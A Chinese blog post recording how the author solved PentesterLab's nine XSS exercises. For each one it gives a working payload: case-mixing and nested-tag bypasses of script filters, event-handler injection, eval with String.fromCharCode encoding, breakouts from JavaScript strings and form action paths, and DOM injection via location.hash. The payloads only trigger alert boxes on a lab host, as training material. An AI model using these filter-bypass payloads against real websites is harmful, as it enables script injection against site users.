Pentester Lab闯关记录1(XSS)

xss example1

未执行任何过滤,直接使用以下payload:

<script>alert('xss')</script>

xss example2

过滤了<script>,使用大小写绕过构造,payload如下:

<sCript>alert('xss')</sCript>

xss example3

大写无法绕过,双写绕过,payload如下:

<scr<script>ipt>alert('xss')</s</script>cript>

xss example4

检测到script就报error,判断对提交内容进行了匹配,匹配到script就报error,因此使用界面元素进行注入,payload如下:

<textarea placeholder=键盘点击触发xss onkeypress=alert("xss")></textarea> 或者
<img src=-1 onerror=alert("xss")></img>

xss example5

检测到alert就报error,使用编码的方法替换alert(eval()用于计算字符串,并执行其中的javascript代码),payload如下:

<script>eval(String.fromCharCode(97, 108, 101, 114, 116, 40, 49, 41))</script>

xss example6

查看网页HTML代码中有以下代码

<script>var $a= "hacker";</script>

因此可以使用闭合的方法进行注入。构造出以下payload:

<script>var $a= "";alert("xss");"";</script>    输入参数为:";alert("xss");"

xss example7

查看网页HTML代码中有以下代码:

<script>var $a= 'hacker';</script>

和上一题类似,知识换成了单引号,使用如下payload即可实现注入:

<script>var $a= '';alert(1);' ';</script>  输入参数为:';alert(1);'

xss example8

在这里插入图片描述
在url后添加\123发现其出现在了源代码的from中:

在这里插入图片描述
初步判断可以围绕以下代码构造payload:

<form action="/xss/example8.php/123" method="POST">  #在url末尾添加的、123出现在了from中
  Your name:<input type="text" name="name">
  <input type="submit" name="submit">

尝试构造以下payload实现注入:

<form action="/xss/example8.php/"><script>alert("xss")</script>< method="POST"> 
 payload为:/"><script>alert("xss")</script><

发现弹窗成功!

在这里插入图片描述
此时的网页源码如下:
在这里插入图片描述
可以发现代码已经被注入HTML源代码中。

xss example9

首先查看HTML源码:
在这里插入图片描述
发现如下代码:

<script>
  document.write(location.hash.substring(1));
</script>

这里是直接指将锚点内容布局在当前页面上,url中的#即锚点位置,所以理论上可以直接在#之后构造payload:

http://192.168.202.131/xss/example9.php#<script>alert("xss")</script>

但是测试没有成功(提交之后需要再次刷新)
在这里插入图片描述

最终在《web前端黑客技术揭秘》中找到了答案,不同浏览器的url编码存在差异,而这一题就涉及到这一不同浏览器的特性,这里没有成功弹窗就是因为chrome与firefox编码了<>这两个特殊符号,最终尝试在IE上测试,发现成功弹窗!
在这里插入图片描述
结束!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值